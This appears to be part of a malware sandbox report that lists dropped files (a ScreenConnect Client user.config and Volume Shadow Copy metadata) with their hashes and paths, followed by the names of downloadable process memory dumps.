SHA256 a6a3e9aec0b196812608c0b1bfb8349d002138333c89b0c1da416e4f6a6c0270
MD5 7cbceb1a9a7272fe98c61e8da44dc79d
SHA1 0828aa69a83142f563860a34dc92d15c76d53c03
SHA512 fb1e17bcdd1803a537a406093530992340875b90092fc6cf77658d5f1691f5cb5f02deae22ca28805e779ff48fe25d0d7083c76328a6dbdd7a06c269c168508a
TLSH
T1CBF024E930C4AE4A07B31E23C5128784EE726BDB155910D974AF613BAF311EF07A31DA
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\user.config
Size 573B
SHA256 8c6f34685b0fdc8a6e23fe4f9001e41a6fa16b34230fe52b182edcc518de6616
MD5 19cbb0780b8d8e5c28f31272318437ea
SHA1 241e564361ffde3d4d75acd9bcec1d47bc8bcbf6
SHA512 c889cb2b6d4c3e0947f25b8159a6d1269f7d8bfaf4e02d0644e3daaf418f3d01a8fcf891763d7890bf778b4e4f5bb616b7f2f6a427a9c7c66ea627cb59ba37b8
TLSH
T164F024E930C46E4A07B31E23C5128784EE716BDB4559119834AFA13BAF301EF07A31DA
MD5 SHA1 SHA512 TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 24.6MB
SHA256 4228ccbe6d23a8ceb241166041899d7d727b15ec785325c9140e43abe21ce2fe
MD5 93528056bc030a859ff31d3f58ed4996
SHA1 5afea9fcb53c2e0fbc8c1041824a63c9a0f963bd
SHA512 249f73e44c26aeba2257652a474ecaabf746015eded533ecb047bfe519297ac42da766776c666b7dad845f2c5500d0c972deca86ef4fc7fc6a26f0ffa785e20f
SSDEEP 24576:e2gmSp1UdoO/vvTLtmmeBkH6fapdwoi82GVtHZUGvNqYUqCDY93B7r8Rh:/
TLSH
T17547C12836F92250E7F79E3C68F06A234E3A7D5B9C159A8D05451B4E0D21FB0E872F5B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{3e794c4f-fa8b-4a3e-87ea-ff0b0bf47ca5}_OnDiskSnapshotProp

Path \??\Volume{a6d9cdad-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{3e794c4f-fa8b-4a3e-87ea-ff0b0bf47ca5}_OnDiskSnapshotProp
Size 6KB
SHA256 3aa179d619ccb3744d2a2b428d083ba383672ef09033cf418059b3f6f7f467ca
MD5 d75eb2b81130306d1fdc3de84baac5d3
SHA1 9df9fc2915dabf93a1ecc51526c295393df469c4
SHA512 c160d1d5c94f24042cfafcbdfe867f78690ab43580f0858a6f8e08023588d9f0872d3d2e5c36772bf87906446379a80ad72a521345ca1e905d96531d4427a232
SSDEEP 96:Fj0hM+Vsvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:NOV2b++ZVm
TLSH
T182D1870C5AE54311E2B3AB7228F14557A877B811EF33CB8E0198238E6630A10F935F6F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/912-143-0x0000000005BD0000-0x0000000005C34000-memory.dmp

Download

memory/912-64-0x0000000004E80000-0x0000000004F7E000-memory.dmp

Download

memory/912-142-0x0000000004E80000-0x0000000004F7E000-memory.dmp

Download

memory/912-65-0x0000000005BD0000-0x0000000005C34000-memory.dmp

Download

memory/2408-152-0x0000000001910000-0x0000000001928000-memory.dmp

Download

memory/2408-159-0x000000001C8B0000-0x000000001C9CE000-memory.dmp

Download

memory/2408-158-0x0000000001760000-0x000000000176C000-memory.dmp

Download

memory/2408-151-0x00000000017B0000-0x00000000017C8000-memory.dmp

Download

memory/2408-148-0x000000001C520000-0x000000001C6A8000-memory.dmp

Download

memory/2408-144-0x0000000000EE0000-0x0000000000F7A000-memory.dmp

Download

memory/2408-146-0x000000001BC60000-0x000000001BCEE000-memory.dmp

Download

memory/2408-147-0x000000001C1E0000-0x000000001C38E000-memory.dmp

Download

memory/2408-145-0x00000000031C0000-0x0000000003228000-memory.dmp

Download

memory/3472-58-0x00000000059B0000-0x0000000005B5E000-memory.dmp

Download

memory/3472-50-0x00000000056B0000-0x00000000056BA000-memory.dmp

Download

memory/3472-46-0x0000000005670000-0x000000000569E000-memory.dmp

Download

memory/3472-54-0x0000000005770000-0x00000000057FE000-memory.dmp

Download

memory/3952-11-0x0000000005C50000-0x0000000005C60000-memory.dmp

Download

memory/3952-8-0x0000000006460000-0x0000000006A06000-memory.dmp

Download

memory/3952-2-0x0000000005C50000-0x0000000005C60000-memory.dmp

Download

memory/3952-3-0x0000000005C50000-0x0000000005C60000-memory.dmp

Download

memory/3952-4-0x0000000005B90000-0x0000000005B98000-memory.dmp

Download

memory/3952-5-0x0000000005C60000-0x0000000005CEE000-memory.dmp

Download

memory/3952-6-0x0000000005C30000-0x0000000005C54000-memory.dmp

Download

memory/3952-0-0x0000000005C50000-0x0000000005C60000-memory.dmp

Download

memory/3952-7-0x0000000005CF0000-0x0000000005E9E000-memory.dmp

Download

memory/3952-15-0x0000000001E00000-0x0000000001FAC000-memory.dmp

Download

memory/3952-12-0x0000000005C50000-0x0000000005C60000-memory.dmp

Download

memory/3952-1-0x0000000001D70000-0x0000000001D78000-memory.dmp

Download

memory/3952-10-0x0000000005C50000-0x0000000005C60000-memory.dmp

Download

memory/3952-9-0x0000000005FB0000-0x0000000006042000-memory.dmp

Download

memory/4916-153-0x000001C2C3430000-0x000001C2C343C000-memory.dmp

Download

memory/5068-157-0x0000000003ED0000-0x0000000003FCE000-memory.dmp

Download

memory/5068-156-0x0000000001690000-0x000000000169B000-memory.dmp

Download

memory/5068-117-0x0000000003D20000-0x0000000003ECE000-memory.dmp

Download

memory/5068-113-0x0000000003AE0000-0x0000000003B6E000-memory.dmp

Download

memory/5068-107-0x00000000016B0000-0x00000000016C8000-memory.dmp

Download

memory/5068-119-0x0000000003C10000-0x0000000003C60000-memory.dmp

Download

memory/5068-123-0x0000000003FD0000-0x0000000004038000-memory.dmp

Download